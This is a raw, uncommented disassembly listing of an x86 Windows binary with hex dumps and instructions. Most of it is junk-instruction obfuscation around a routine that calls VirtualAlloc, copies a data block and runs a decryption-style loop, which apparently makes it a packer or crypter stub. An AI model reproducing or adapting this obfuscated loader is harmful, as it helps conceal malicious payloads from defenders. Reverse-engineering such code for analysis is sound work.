<p>:00401247 E4 00 BC 68 00 EC 00 54 14 FC E2 00 D2            ...h...T.....</p>
<p>:00401254 3A004200                DWORD 0042003A            ;; :.B.</p>
<p>:00401258 E4 2E B6 2C DE 44 02 5E FC 00 3A 00 42 BC D6 0E   ...,.D.^..:.B...</p>
<p>:00401268 C0 00 9E CC 22 1C 00 00 7C 38 00 E2 1C 72 4E B8   ...."...|8...rN.</p>
<p>:00401278 4C A8 EC CC 50 3C A6 00 1C 2E 00 00 00 48 94 4C   L...P<.......H.L</p>
<p>:00401288 A8 A2 0E 22 02 02 00 60 60 00 00 02 08 00 00 00   ..."...``.......</p>
<p>:00401298 AC                      lodsb</p>
<p>:00401299 304C82AC                xor byte[edx+4*eax-54], cl</p>
<p>:0040129D B8FE24F4FC              mov eax, FCF424FE</p>
<p>:004012A2 EE                      out port[dx], al</p>
<p>:004012A3 2480                    and al, -80</p>
<p>:004012A5 50                      push eax</p>
<p>:004012A6 D050D6                  rcl byte[eax-2A], 1</p>
<p>:004012A9 F0                      lock</p>
<p>:004012AA 0008                    add byte[eax], cl</p>
<p>:004012AC 68005E52FE              push FE525E00</p>
<p>:004012B1 16                      push ss</p>
<p>:004012B2 006270                  add byte[edx+70], ah</p>
<p>:004012B5 A2E6027280              mov byte[807202E6], al</p>
<p>:004012BA 04BA                    add al, -46</p>
<p>:004012BC 006E0A                  add byte[esi+0A], ch</p>
<p>:004012BF C21674                  ret 7416</p>
<p>:004012C2 98 02 4E 4A 00 7C B8 1E 00 70 00 B4 00 FA 00 00   ..NJ.|...p......</p>
<p>:004012D2 FA 1A 00 84 70 00 56 40 50 BC 72 98 00 82 E8 B4   ....p.V@P.r.....</p>
<p>:004012E2 00 22 7C 00 84 E2 06 EA D6 32 32 00 DE 00 00 36   ."|......22....6</p>
<p>:004012F2 DC 82 B0 E4 B8 4A C4 34 00 B8 D6 00 3A 50 00 00   .....J.4....:P..</p>
<p>:00401302 32 AA 00 54 5C 50 18 22 3C A6 32 2E 94 E8 2A A8   2..T\P."<.2...*.</p>
<p>:00401312 60 C4 0A 78 A6 10 26 5E E2 1A 76 00 00 00 0E D4   `..x..&#038;^..v.....</p>
<p>:00401322 A8 00 0A 70 FC 1A 26 1A 00 D6 F6 00 00 24 06 38   ...p..&#038;......$.8</p>
<p>:00401332 96 FC 22 00 EE 00 DC 00 00 00 1A DC 00 FC 42 92   .."...........B.</p>
<p>:00401342 00 72 00 B4 22 82 6C 94 56 AC 00 00 FA 4E 34 CC   .r..".l.V....N4.</p>
<p>:00401352 7C 20 D8 94 AE FC 00 40 32 E2 CE 04 88 60 3A A0   | .....@2....`:.</p>
<p>:00401362 A0 1C F6 7A 00 1E 00 0E 22 56 00 80 A8 DC 94 A2   ...z...."V......</p>
<p>:00401372 F6 24 00 7C 00 78 00 1A 00 FA 08 1A E8 00 28 84   .$.|.x........(.</p>
<p>:00401382 E0 88 2A 4C D8 00 04 16 5C A0 00 DA 2E B0 84 60   ..*L....\......`</p>
<p>:00401392 00 00 00 00 3C 14 04 E2 26 94 B8 A0 1E B0 2E 0E   ....<...&#038;.......</p>
<p>:004013A2 4C 1A 76 A2 72 60 AE 76 F0 74 FA BC 70 00 9A 6A   L.v.r`.v.t..p..j</p>
<p>:004013B2 86 56 7C 00 B4 C0 00 00 94 8A 5A 6C E0 EA 5A 00   .V|.......Zl..Z.</p>
<p>:004013C2 4E 68 00 D0 92 8C C0 D8 00 64 24 38 2C A0 72 00   Nh.......d$8,.r.</p>
<p>:004013D2 FA DA 82 86 0A C0 EE 42 36 F2 00 00 FE 00 5C 8C   .......B6.....\.</p>
<p>:004013E2 00 00 9C 00 00 8C 90 DA 00 CE 00 9C C4 84 9A 52   ...............R</p>
<p>:004013F2 7C 00 A4 CA 98 7E 80 0C 80 AA D4 84 A4 EC D4 F4   |....~..........</p>
<p>:00401402 CA 00 00 9A 1A E6 E0 76 00 42 36 00 98 00 00 16   .......v.B6.....</p>
<p>:00401412 E4 1A 00 AE 80 62 3C 1A AE 18 4A BC 7C 4A BC 38   .....b<...J.|J.8</p>
<p>:00401422 A2 00 6A FA F8 80 00 E4 00 78 82 60 B6 22 A2 76   ..j......x.`.".v</p>
<p>:00401432 E2 84 A6 FC CA D8 02 16 96 F0 B2 4E DE 00 9A 8A   ...........N....</p>
<p>:00401442 5C 00 56 F2 00 9A 6E 00 00 EA 70 00 10 B4 22 0C   \.V...n...p...".</p>
<p>:00401452 F2                                                .</p>
<p>:00401453 C200E0                  ret E000</p>
<p>:00401456 54 32 2A 76 12 78 0E 1E 1E 38 22 38 00 5E FA F4   T2*v.x...8"8.^..</p>
<p>:00401466 00 F4 60 F4                                       ..`.</p>
<p>---------</p>
<p>:0040146A 006CE2AE                add byte[edx-52], ch</p>
<p>:0040146E A6                      cmpsb</p>
<p>:0040146F EA6E8840DE1600          jmp far 886E:0016DE40</p>
<p>:00401476 00 BE 56 00 64 DA C6 00 00 6E CA 12 2C 00 06 48   ..V.d....n..,..H</p>
<p>:00401486 36 A2 30 F0 AA CA 00 CE 00 00 0E 00 3E 00 F0 8A   6.0.........>&#8230;</p>
<p>:00401496 00 02 B0 00 00 86 32 D2 00 9C 00 00 B0 22 E4 00   &#8230;&#8230;2&#8230;&#8230;&#8221;..</p>
<p>:004014A6 56 42 32 82 F4 58 F2 14 00 48 00 38 4E 80 72 00   VB2..X&#8230;H.8N.r.</p>
<p>:004014B6 00 88 C8 20 A8 00 BC 6A 98 E0 9E F8 42 26 14 5A   &#8230; &#8230;j&#8230;.B&#038;.Z</p>
<p>:004014C6 00 88 BE 00 D4 6E 86 80 F2 BC 82 00 00 8E 84 00   &#8230;..n&#8230;&#8230;&#8230;.</p>
<p>:004014D6 00 CA 0A 1A E4 00 C6 9E F6 88 00 D8 1E EC D8 D0   &#8230;&#8230;&#8230;&#8230;&#8230;.</p>
<p>:004014E6 AC 02 00 24 02 52 FE 96 D6 00 B2 F8 00 BC C2 00   &#8230;$.R&#8230;&#8230;&#8230;.</p>
<p>:004014F6 00 50 34 3A 0C 7C 00 00                           .P4:.|..</p>
<p>:004014FE 7A 2C 4E 60 5E 00                                 ;;n &#8220;z,N`^&#8221;</p>
<p>:00401504 5A                      pop edx</p>
<p>:00401505 0E                      push cs</p>
<p>:00401506 00B256EC6A1C            add byte[edx+1C6AEC56], dh</p>
<p>:0040150C 8E9ED81C0034            mov ds, word[esi+34001CD8]</p>
<p>:00401512 06                      push es</p>
<p>:00401513 3626FC                  cld</p>
<p>:00401516 40                      inc eax</p>
<p>:00401517 AA                      stosb</p>
<p>:00401518 38149A                  cmp byte[edx+4*ebx], dl</p>
<p>:0040151B FA                      cli</p>
<p>:0040151C 0000                    add byte[eax], al</p>
<p>:0040151E 54                      push esp</p>
<p>:0040151F C2008E                  ret 8E00</p>
<p>:00401522 5E 20 46 00 00 A6 46 BA 28 64 92 02 7E 68 90 84   ^ F&#8230;F.(d..~h..</p>
<p>:00401532 00 7A F2 22 00 1A 00 A2 00 98 00 64 A2 64 10 BA   .z.&#8221;&#8230;&#8230;.d.d..</p>
<p>:00401542 96 00 66 C1 E0 0E 80 E4 70 66 2B C9 2B C0 34 96   ..f&#8230;..pf+.+.4.</p>
<p>:00401552 34 A6 66                                          4.f</p>
<p>:00401555 81F1C22D2BC0            xor ecx, C02B2DC2</p>
<p>:0040155B 6683F100                xor cx, 000</p>
<p>:0040155F 33C8                    xor ecx, eax</p>
<p>:00401561 6603C0                  add ax, ax</p>
<p>:00401564 80E5CA                  and ch, -36</p>
<p>:00401567 C0E40A                  shl ah, 0A</p>
<p>:0040156A 80F14E                  xor cl, 4E</p>
<p>:0040156D 66B84200                mov ax, 0042</p>
<p>:00401571 668745F4                xchg word[ebp-0C], ax</p>
<p>:00401575 6681E9E200              sub cx, 00E2</p>
<p>:0040157A C0E508                  shl ch, 08</p>
<p>:0040157D 66C1E916                shr cx, 16</p>
<p>:00401581 6633C0                  xor ax, ax</p>
<p>:00401584 80E55A                  and ch, 5A</p>
<p>:00401587 66B8FC00                mov ax, 00FC</p>
<p>:0040158B 668745F6                xchg word[ebp-0A], ax</p>
<p>:0040158F 68BD924000              push 004092BD</p>
<p>:00401594 8F45E8                  pop dword[ebp-18]</p>
<p>:00401597 2C0C                    sub al, 0C</p>
<p>:00401599 B300                    mov bl, 00</p>
<p>:0040159B 865DFE                  xchg byte[ebp-02], bl</p>
<p>:0040159E 66B8B8E2                mov ax, E2B8</p>
<p>:004015A2 668745FA                xchg word[ebp-06], ax</p>
<p>:004015A6 23C0                    and eax, eax</p>
<p>:004015A8 662D36FA                sub ax, FA36</p>
<p>:004015AC 66C1E805                shr ax, 05</p>
<p>:004015B0 C1E819                  shr eax, 19</p>
<p>:004015B3 80F1F2                  xor cl, -0E</p>
<p>:004015B6 80E43C                  and ah, 3C</p>
<p>:004015B9 66C1E01C                shl ax, 1C</p>
<p>:004015BD 80E5A8                  and ch, -58</p>
<p>:004015C0 33C8                    xor ecx, eax</p>
<p>:004015C2 C1E81D                  shr eax, 1D</p>
<p>:004015C5 6681F12CD6              xor cx, D62C</p>
<p>:004015CA 66B9C267                mov cx, 67C2</p>
<p>:004015CE 66874DFC                xchg word[ebp-04], cx</p>
<p>:004015D2 33C8                    xor ecx, eax</p>
<p>:004015D4 C0E40A                  shl ah, 0A</p>
<p>:004015D7 6649                    dec cx</p>
<p>:004015D9 B300                    mov bl, 00</p>
<p>:004015DB 865DFF                  xchg byte[ebp-01], bl</p>
<p>:004015DE 6633C8                  xor cx, ax</p>
<p>:004015E1 6633C9                  xor cx, cx</p>
<p>:004015E4 66C1E01E                shl ax, 1E</p>
<p>:004015E8 662BC0                  sub ax, ax</p>
<p>:004015EB 8B4510                  mov eax, dword[ebp+10]</p>
<p>:004015EE 50                      push eax</p>
<p>:004015EF FF1518214000            call dword[00402118 ->00002574 lstrlenA]</p>
<p>                            ;;call KERNEL32.lstrlenA</p>
<p>:004015F5 B26C                    mov dl, 6C</p>
<p>:004015F7 865513                  xchg byte[ebp+13], dl</p>
<p>:004015FA 66C1E114                shl cx, 14</p>
<p>:004015FE 662BC8                  sub cx, ax</p>
<p>:00401601 85C0                    test eax, eax</p>
<p>:00401603 0F847C040000            je 00401A85</p>
<p>:00401609 33C9                    xor ecx, ecx</p>
<p>:0040160B 66358800                xor ax, 0088</p>
<p>:0040160F 6648                    dec ax</p>
<p>:00401611 662BC1                  sub ax, cx</p>
<p>:00401614 D1E1                    shl ecx, 1</p>
<p>:00401616 6603C9                  add cx, cx</p>
<p>:00401619 6681E922BA              sub cx, BA22</p>
<p>:0040161E C1E112                  shl ecx, 12</p>
<p>:00401621 2C30                    sub al, 30</p>
<p>:00401623 6603C0                  add ax, ax</p>
<p>:00401626 662BC0                  sub ax, ax</p>
<p>:00401629 6603C9                  add cx, cx</p>
<p>:0040162C 664B                    dec bx</p>
<p>:0040162E 33C9                    xor ecx, ecx</p>
<p>:00401630 6603C1                  add ax, cx</p>
<p>:00401633 6681F1A200              xor cx, 00A2</p>
<p>:00401638 6633C0                  xor ax, ax</p>
<p>:0040163B 23C9                    and ecx, ecx</p>
<p>:0040163D 33C9                    xor ecx, ecx</p>
<p>:0040163F 2BC9                    sub ecx, ecx</p>
<p>:00401641 6603C0                  add ax, ax</p>
<p>:00401644 33C0                    xor eax, eax</p>
<p>:00401646 662BC8                  sub cx, ax</p>
<p>:00401649 66C1E107                shl cx, 07</p>
<p>:0040164D B0E6                    mov al, -1A</p>
<p>:0040164F 8645FE                  xchg byte[ebp-02], al</p>
<p>:00401652 33C1                    xor eax, ecx</p>
<p>:00401654 6603C1                  add ax, cx</p>
<p>:00401657 66C1E103                shl cx, 03</p>
<p>:0040165B 33C8                    xor ecx, eax</p>
<p>:0040165D 349E                    xor al, -62</p>
<p>:0040165F 6A00                    push 000</p>
<p>:00401661 8F45F0                  pop dword[ebp-10]</p>
<p>:00401664 F75DF0                  neg dword[ebp-10]</p>
<p>:00401667 C1E013                  shl eax, 13</p>
<p>:0040166A C1E00E                  shl eax, 0E</p>
<p>:0040166D 2BC0                    sub eax, eax</p>
<p>:0040166F 66B81445                mov ax, 4514</p>
<p>:00401673 668745F6                xchg word[ebp-0A], ax</p>
<p>:00401677 662BC8                  sub cx, ax</p>
<p>:0040167A B1FE                    mov cl, -02</p>
<p>:0040167C 864D13                  xchg byte[ebp+13], cl</p>
<p>:0040167F 6633C8                  xor cx, ax</p>
<p>:00401682 2BC1                    sub eax, ecx</p>
<p>:00401684 3416                    xor al, 16</p>
<p>:00401686 66C1E803                shr ax, 03</p>
<p>:0040168A 6603C0                  add ax, ax</p>
<p>:0040168D 33C8                    xor ecx, eax</p>
<p>:0040168F C1E00E                  shl eax, 0E</p>
<p>:00401692 80E4D0                  and ah, -30</p>
<p>:00401695 33C1                    xor eax, ecx</p>
<p>:00401697 C1E811                  shr eax, 11</p>
<p>:0040169A 662BC9                  sub cx, cx</p>
<p>:0040169D 33C8                    xor ecx, eax</p>
<p>:0040169F 66B90E00                mov cx, 000E</p>
<p>:004016A3 66874DF4                xchg word[ebp-0C], cx</p>
<p>:004016A7 662BC8                  sub cx, ax</p>
<p>:004016AA 2BC8                    sub ecx, eax</p>
<p>:004016AC C745EC00000000          mov dword[ebp-14], 00000000</p>
<p>:004016B3 6A23                    push 023</p>
<p>:004016B5 5A                      pop edx</p>
<p>:004016B6 83C21D                  add edx, 01D</p>
<p>:004016B9 52                      push edx</p>
<p>:004016BA 688C0D0000              push 00000D8C</p>
<p>:004016BF 59                      pop ecx</p>
<p>:004016C0 81C174020000            add ecx, 00000274</p>
<p>:004016C6 51                      push ecx</p>
<p>:004016C7 6852BEFBFF              push FFFBBE52</p>
<p>:004016CC 5B                      pop ebx</p>
<p>:004016CD F7DB                    neg ebx</p>
<p>:004016CF 53                      push ebx</p>
<p>:004016D0 33C0                    xor eax, eax</p>
<p>:004016D2 50                      push eax</p>
<p>:004016D3 FF1524214000            call dword[00402124 ->00002564 VirtualAlloc]</p>
<p>                            ;;call KERNEL32.VirtualAlloc</p>
<p>:004016D9 8945EC                  mov dword[ebp-14], eax</p>
<p>:004016DC C0E515                  shl ch, 15</p>
<p>:004016DF 6681E9CC00              sub cx, 00CC</p>
<p>:004016E4 C1E00A                  shl eax, 0A</p>
<p>:004016E7 66B95CBB                mov cx, BB5C</p>
<p>:004016EB 66874D12                xchg word[ebp+12], cx</p>
<p>:004016EF 8B75EC                  mov esi, dword[ebp-14]</p>
<p>:004016F2 8B5DE8                  mov ebx, dword[ebp-18]</p>
<p>:004016F5 8BD6                    mov edx, esi</p>
<p>:004016F7 2BDE                    sub ebx, esi</p>
<p>:004016F9 BFAE410400              mov edi, 000441AE</p>
<p>&#8212;&#8212;&#8212;</p>
<p>:004016FE C1E103                  shl ecx, 03</p>
<p>:00401701 C1E016                  shl eax, 16</p>
<p>:00401704 66C1E10A                shl cx, 0A</p>
<p>:00401708 23C9                    and ecx, ecx</p>
<p>:0040170A 8A0C13                  mov cl, byte[ebx+edx]</p>
<p>:0040170D 880A                    mov byte[edx], cl</p>
<p>:0040170F 66B88600                mov ax, 0086</p>
<p>:00401713 668745F6                xchg word[ebp-0A], ax</p>
<p>:00401717 662BC9                  sub cx, cx</p>
<p>:0040171A C1E806                  shr eax, 06</p>
<p>:0040171D B188                    mov cl, -78</p>
<p>:0040171F 864D13                  xchg byte[ebp+13], cl</p>
<p>:00401722 66B9E200                mov cx, 00E2</p>
<p>:00401726 66874DF4                xchg word[ebp-0C], cx</p>
<p>:0040172A 42                      inc edx</p>
<p>:0040172B 4F                      dec edi</p>
<p>:0040172C 75D0                    jne 004016FE</p>
<p>:0040172E 8975E8                  mov dword[ebp-18], esi</p>
<p>:00401731 C1E114                  shl ecx, 14</p>
<p>:00401734 33C8                    xor ecx, eax</p>
<p>:00401736 34B0                    xor al, -50</p>
<p>:00401738 33C1                    xor eax, ecx</p>
<p>:0040173A B386                    mov bl, -7A</p>
<p>:0040173C 865D13                  xchg byte[ebp+13], bl</p>
<p>:0040173F C745F800000000          mov dword[ebp-08], 00000000</p>
<p>:00401746 C745E09E000000          mov dword[ebp-20], 0000009E</p>
<p>:0040174D 662BC8                  sub cx, ax</p>
<p>:00401750 66352E00                xor ax, 002E</p>
<p>:00401754 80F1FA                  xor cl, -06</p>
<p>:00401757 662BC0                  sub ax, ax</p>
<p>:0040175A C1E115                  shl ecx, 15</p>
<p>:0040175D 80E928                  sub cl, 28</p>
<p>:00401760 6633C9                  xor cx, cx</p>
<p>:00401763 FECA                    dec dl</p>
<p>:00401765 C0E40A                  shl ah, 0A</p>
<p>:00401768 6633C8                  xor cx, ax</p>
<p>:0040176B 23C0                    and eax, eax</p>
<p>:0040176D C0E517                  shl ch, 17</p>
<p>:00401770 C1E11A                  shl ecx, 1A</p>
<p>:00401773 80E9D2                  sub cl, -2E</p>
<p>:00401776 2C04                    sub al, 04</p>
<p>:00401778 66C1E11C                shl cx, 1C</p>
<p>:0040177C 6681F1E4D1              xor cx, D1E4</p>
<p>:00401781 80E9FE                  sub cl, -02</p>
<p>:00401784 66C1E01C                shl ax, 1C</p>
<p>:00401788 66C1E011                shl ax, 11</p>
<p>:0040178C 6603C9                  add cx, cx</p>
<p>:0040178F 66C1E102                shl cx, 02</p>
<p>:00401793 6649                    dec cx</p>
<p>:00401795 B100                    mov cl, 00</p>
<p>:00401797 864DFF                  xchg byte[ebp-01], cl</p>
<p>:0040179A C1E11E                  shl ecx, 1E</p>
<p>:0040179D 662BC1                  sub ax, cx</p>
<p>:004017A0 B39E                    mov bl, -62</p>
<p>:004017A2 865DFE                  xchg byte[ebp-02], bl</p>
<p>:004017A5 33C1                    xor eax, ecx</p>
<p>:004017A7 6683F160                xor cx, 060</p>
<p>:004017AB 664B                    dec bx</p>
<p>:004017AD 6683F11C                xor cx, 01C</p>
<p>:004017B1 2BC8                    sub ecx, eax</p>
<p>:004017B3 C0E409                  shl ah, 09</p>
<p>:004017B6 B0AC                    mov al, -54</p>
<p>:004017B8 864513                  xchg byte[ebp+13], al</p>
<p>:004017BB 80E956                  sub cl, 56</p>
<p>:004017BE 662BC8                  sub cx, ax</p>
<p>:004017C1 C1E10F                  shl ecx, 0F</p>
<p>:004017C4 C1E814                  shr eax, 14</p>
<p>:004017C7 80E5A6                  and ch, -5A</p>
<p>:004017CA 6681E9D04B              sub cx, 4BD0</p>
<p>:004017CF C74510E638FFFF          mov dword[ebp+10], FFFF38E6</p>
<p>:004017D6 8B4510                  mov eax, dword[ebp+10]</p>
<p>:004017D9 3D74E60000              cmp eax, 0000E674</p>
<p>:004017DE 7C56                    jl 00401836</p>
<p>:004017E0 66B95400                mov cx, 0054</p>
<p>:004017E4 66874DF4                xchg word[ebp-0C], cx</p>
<p>:004017E8 6633C0                  xor ax, ax</p>
<p>:004017EB 33C9                    xor ecx, ecx</p>
<p>:004017ED B0DA                    mov al, -26</p>
<p>:004017EF 864513                  xchg byte[ebp+13], al</p>
<p>:004017F2 8B7D10                  mov edi, dword[ebp+10]</p>
<p>&#8212;&#8212;&#8212;</p>
<p>:004017F5 2BC0                    sub eax, eax</p>
<p>:004017F7 66C1E103                shl cx, 03</p>
<p>:004017FB 2C06                    sub al, 06</p>
<p>:004017FD 2C04                    sub al, 04</p>
<p>:004017FF 3400                    xor al, 00</p>
<p>:00401801 6681F12AEB              xor cx, EB2A</p>
<p>:00401806 6681F12657              xor cx, 5726</p>
<p>:0040180B 66C1E90D                shr cx, 0D</p>
<p>:0040180F 6633C0                  xor ax, ax</p>
<p>:00401812 6633C8                  xor cx, ax</p>
<p>:00401815 B100                    mov cl, 00</p>
<p>:00401817 864D13                  xchg byte[ebp+13], cl</p>
<p>:0040181A C0E403                  shl ah, 03</p>
<p>:0040181D 8B4DF0                  mov ecx, dword[ebp-10]</p>
<p>:00401820 41                      inc ecx</p>
<p>:00401821 894DF0                  mov dword[ebp-10], ecx</p>
<p>:00401824 C1E90F                  shr ecx, 0F</p>
<p>:00401827 66C1E802                shr ax, 02</p>
<p>:0040182B 80E45A                  and ah, 5A</p>
<p>:0040182E C1E10B                  shl ecx, 0B</p>
<p>:00401831 C1E109                  shl ecx, 09</p>
<p>:00401834 EB03                    jmp 00401839</p>
<p>&#8212;&#8212;&#8212;</p>
<p>:00401836 8B7D10                  mov edi, dword[ebp+10]</p>
<p>&#8212;&#8212;&#8212;</p>
<p>:00401839 66C1E905                shr cx, 05</p>
<p>:0040183D 23C0                    and eax, eax</p>
<p>:0040183F 80E5E6                  and ch, -1A</p>
<p>:00401842 6633C9                  xor cx, cx</p>
<p>:00401845 6A2A                    push 02A</p>
<p>:00401847 8F45E4                  pop dword[ebp-1C]</p>
<p>:0040184A 8145E4C1090000          add dword[ebp-1C], 000009C1</p>
<p>:00401851 8B55E4                  mov edx, dword[ebp-1C]</p>
<p>:00401854 8B45F0                  mov eax, dword[ebp-10]</p>
<p>:00401857 3BC2                    cmp eax, edx</p>
<p>:00401859 0F84B9010000            je 00401A18</p>
<p>:0040185F 23C8                    and ecx, eax</p>
<p>:00401861 6635527E                xor ax, 7E52</p>
<p>:00401865 B19C                    mov cl, -64</p>
<p>:00401867 864DFE                  xchg byte[ebp-02], cl</p>
<p>:0040186A 662BC0                  sub ax, ax</p>
<p>:0040186D 6633C0                  xor ax, ax</p>
<p>:00401870 C1E806                  shr eax, 06</p>
<p>:00401873 C0E412                  shl ah, 12</p>
<p>:00401876 80F10E                  xor cl, 0E</p>
<p>:00401879 34CE                    xor al, -32</p>
<p>:0040187B 2C64                    sub al, 64</p>
<p>:0040187D C1E913                  shr ecx, 13</p>
<p>:00401880 8B45F0                  mov eax, dword[ebp-10]</p>
<p>:00401883 C1E002                  shl eax, 02</p>
<p>:00401886 0345E8                  add eax, dword[ebp-18]</p>
<p>:00401889 8945DC                  mov dword[ebp-24], eax</p>
<p>:0040188C 6635D4B7                xor ax, B7D4</p>
<p>:00401890 66B90000                mov cx, 0000</p>
<p>:00401894 66874DF4                xchg word[ebp-0C], cx</p>
<p>:00401898 C1E01E                  shl eax, 1E</p>
<p>:0040189B 80F176                  xor cl, 76</p>
<p>:0040189E 8B45DC                  mov eax, dword[ebp-24]</p>
<p>:004018A1 8B00                    mov eax, dword[eax]</p>
<p>:004018A3 8945EC                  mov dword[ebp-14], eax</p>
<p>:004018A6 6681E9DC00              sub cx, 00DC</p>
<p>:004018AB 663502B2                xor ax, B202</p>
<p>:004018AF 6649                    dec cx</p>
<p>:004018B1 662DE200                sub ax, 00E2</p>
<p>:004018B5 C0E51C                  shl ch, 1C</p>
<p>:004018B8 80E90C                  sub cl, 0C</p>
<p>:004018BB 6633C8                  xor cx, ax</p>
<p>:004018BE 2C6A                    sub al, 6A</p>
<p>:004018C0 66C1E81D                shr ax, 1D</p>
<p>:004018C4 6603C9                  add cx, cx</p>
<p>:004018C7 C1E106                  shl ecx, 06</p>
<p>:004018CA 2BC9                    sub ecx, ecx</p>
<p>:004018CC 80E9C4                  sub cl, -3C</p>
<p>:004018CF 8B45F8                  mov eax, dword[ebp-08]</p>
<p>:004018D2 8B75EC                  mov esi, dword[ebp-14]</p>
<p>:004018D5 C1EE1D                  shr esi, 1D</p>
<p>:004018D8 8B4DEC                  mov ecx, dword[ebp-14]</p>
<p>:004018DB C1E103                  shl ecx, 03</p>
<p>:004018DE 0BF1                    or esi, ecx</p>
<p>:004018E0 8B45F8                  mov eax, dword[ebp-08]</p>
<p>:004018E3 85C0                    test eax, eax</p>
<p>:004018E5 B8E0000000              mov eax, 000000E0</p>
<p>:004018EA 7403                    je 004018EF</p>
<p>:004018EC 8B45D8                  mov eax, dword[ebp-28]</p>
<p>&#8212;&#8212;&#8212;</p>
<p>:004018EF 50                      push eax</p>
<p>:004018F0 E89BF7FFFF              call 00401090</p>
<p>:004018F5 83C404                  add esp, 004</p>
<p>:004018F8 03C6                    add eax, esi</p>
<p>:004018FA 8B4DF8                  mov ecx, dword[ebp-08]</p>
<p>:004018FD 85C9                    test ecx, ecx</p>
<p>:004018FF B9C6000000              mov ecx, 000000C6</p>
<p>:00401904 7403                    je 00401909</p>
<p>:00401906 8B4DD4                  mov ecx, dword[ebp-2C]</p>
<p>&#8212;&#8212;&#8212;</p>
<p>:00401909 894DD8                  mov dword[ebp-28], ecx</p>
<p>:0040190C 8B4DF8                  mov ecx, dword[ebp-08]</p>
<p>:0040190F 85C9                    test ecx, ecx</p>
<p>:00401911 B966000000              mov ecx, 00000066</p>
<p>:00401916 7403                    je 0040191B</p>
<p>:00401918 8B4DD0                  mov ecx, dword[ebp-30]</p>
<p>&#8212;&#8212;&#8212;</p>
<p>:0040191B 894DD4                  mov dword[ebp-2C], ecx</p>
<p>:0040191E 83C002                  add eax, 002</p>
<p>:00401921 8B4DF8                  mov ecx, dword[ebp-08]</p>
<p>:00401924 85C9                    test ecx, ecx</p>
<p>:00401926 B9F0000000              mov ecx, 000000F0</p>
<p>:0040192B 7403                    je 00401930</p>
<p>:0040192D 8B4DCC                  mov ecx, dword[ebp-34]</p>
<p>&#8212;&#8212;&#8212;</p>
<p>:00401930 8BF0                    mov esi, eax</p>
<p>:00401932 894DD0                  mov dword[ebp-30], ecx</p>
<p>:00401935 C1EE15                  shr esi, 15</p>
<p>:00401938 C1E00B                  shl eax, 0B</p>
<p>:0040193B 0BF0                    or esi, eax</p>
<p>:0040193D 8B45F8                  mov eax, dword[ebp-08]</p>
<p>:00401940 85C0                    test eax, eax</p>
<p>:00401942 B848000000              mov eax, 00000048</p>
<p>:00401947 7403                    je 0040194C</p>
<p>:00401949 8B45C8                  mov eax, dword[ebp-38]</p>
<p>&#8212;&#8212;&#8212;</p>
<p>:0040194C 50                      push eax</p>
<p>:0040194D 8945CC                  mov dword[ebp-34], eax</p>
<p>:00401950 E86BF7FFFF              call 004010C0</p>
<p>:00401955 83C404                  add esp, 004</p>
<p>:00401958 03C6                    add eax, esi</p>
<p>:0040195A 8B4DE0                  mov ecx, dword[ebp-20]</p>
<p>:0040195D 85C9                    test ecx, ecx</p>
<p>:0040195F B9B0000000              mov ecx, 000000B0</p>
<p>:00401964 7503                    jne 00401969</p>
<p>:00401966 8B4DC4                  mov ecx, dword[ebp-3C]</p>
<p>&#8212;&#8212;&#8212;</p>
<p>:00401969 8BF0                    mov esi, eax</p>
<p>:0040196B 894DC8                  mov dword[ebp-38], ecx</p>
<p>:0040196E C1E61F                  shl esi, 1F</p>
<p>:00401971 D1E8                    shr eax, 1</p>
<p>:00401973 0BF0                    or esi, eax</p>
<p>:00401975 8B45F8                  mov eax, dword[ebp-08]</p>
<p>:00401978 85C0                    test eax, eax</p>
<p>:0040197A 7505                    jne 00401981</p>
<p>:0040197C BF7C000000              mov edi, 0000007C</p>
<p>&#8212;&#8212;&#8212;</p>
<p>:00401981 57                      push edi</p>
<p>:00401982 897DC4                  mov dword[ebp-3C], edi</p>
<p>:00401985 E886F7FFFF              call 00401110</p>
<p>:0040198A 83C404                  add esp, 004</p>
<p>:0040198D 03C6                    add eax, esi</p>
<p>:0040198F 8B7DEC                  mov edi, dword[ebp-14]</p>
<p>:00401992 C745F8AC000000          mov dword[ebp-08], 000000AC</p>
<p>:00401999 C745E000000000          mov dword[ebp-20], 00000000</p>
<p>:004019A0 8945EC                  mov dword[ebp-14], eax</p>
<p>:004019A3 66C1E110                shl cx, 10</p>
<p>:004019A7 66B98A89                mov cx, 898A</p>
<p>:004019AB 66874DF6                xchg word[ebp-0A], cx</p>
<p>:004019AF 6635E8FF                xor ax, FFE8</p>
<p>:004019B3 6633C8                  xor cx, ax</p>
<p>:004019B6 B2CA                    mov dl, -36</p>
<p>:004019B8 8655FD                  xchg byte[ebp-03], dl</p>
<p>:004019BB 34B4                    xor al, -4C</p>
<p>:004019BD B224                    mov dl, 24</p>
<p>:004019BF 8655FF                  xchg byte[ebp-01], dl</p>
<p>:004019C2 2BC0                    sub eax, eax</p>
<p>:004019C4 66354CCD                xor ax, CD4C</p>
<p>:004019C8 2CD2                    sub al, -2E</p>
<p>:004019CA 8B45EC                  mov eax, dword[ebp-14]</p>
<p>:004019CD 8B4DDC                  mov ecx, dword[ebp-24]</p>
<p>:004019D0 8901                    mov dword[ecx], eax</p>
<p>:004019D2 80F190                  xor cl, -70</p>
<p>:004019D5 66C1E01F                shl ax, 1F</p>
<p>:004019D9 C1E802                  shr eax, 02</p>
<p>:004019DC 2BC8                    sub ecx, eax</p>
<p>:004019DE 3400                    xor al, 00</p>
<p>:004019E0 664B                    dec bx</p>
<p>:004019E2 C1E01C                  shl eax, 1C</p>
<p>:004019E5 662BC1                  sub ax, cx</p>
<p>:004019E8 C745C0BFF50000          mov dword[ebp-40], 0000F5BF</p>
<p>:004019EF 8B45C0                  mov eax, dword[ebp-40]</p>
<p>:004019F2 85C0                    test eax, eax</p>
<p>:004019F4 0F85FBFDFFFF            jne 004017F5</p>
<p>:004019FA 6683F13A                xor cx, 03A</p>
<p>:004019FE C1E007                  shl eax, 07</p>
<p>:00401A01 B312                    mov bl, 12</p>
<p>:00401A03 865D13                  xchg byte[ebp+13], bl</p>
<p>:00401A06 66B9A264                mov cx, 64A2</p>
<p>:00401A0A 66874DF6                xchg word[ebp-0A], cx</p>
<p>:00401A0E 66B822CA                mov ax, CA22</p>
<p>:00401A12 668745F4                xchg word[ebp-0C], ax</p>
<p>:00401A16 33C0                    xor eax, eax</p>
<p>&#8212;&#8212;&#8212;</p>
<p>:00401A18 6633C8                  xor cx, ax</p>
<p>:00401A1B 2C7E                    sub al, 7E</p>
<p>:00401A1D 23C0                    and eax, eax</p>
<p>:00401A1F 33C0                    xor eax, eax</p>
<p>:00401A21 80E400                  and ah, 00</p>
<p>:00401A24 33C8                    xor ecx, eax</p>
